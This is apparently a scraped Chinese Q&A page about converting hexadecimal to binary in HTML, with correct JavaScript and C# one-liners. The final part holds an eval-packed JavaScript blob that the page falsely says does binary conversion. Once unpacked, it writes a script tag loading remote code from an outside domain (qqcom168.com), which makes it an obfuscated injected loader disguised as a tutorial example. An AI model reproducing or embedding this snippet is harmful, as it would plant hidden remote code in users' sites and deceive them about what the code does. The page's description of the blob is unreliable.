html,能不能十六进制转换成二进制,能的话,代码是啥

html-css07

html,能不能十六进制转换成二进制,能的话,代码是啥,第1张

html 本身是一个表现语言,不具备计算的能力,

html和其他语言组合后,借用了其他语言的计算能力。

比如javascript

parseInt('ff',16).toString(2)

parseInt把ff转为10进制,再转为2进制。

如果在服务端比如asp.net

Convert.ToString(0xff,2)

不同语言都有各自的函数。

这其实eval压缩后的代码进行了二进制转换

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)}if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a)k=[function(e){return d[e]}]e=function(){return'\\w+'}c=1}while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('c.b(\'<1 a="2" 9="8/2" 7="6://5.4/0.3"></1>\')',13,13,'|script|javascript|js|com|qqcom168|http|src|text|type|language|write|document'.split('|'),0,{}))

进行一下转换就跟上面的二进制差不多了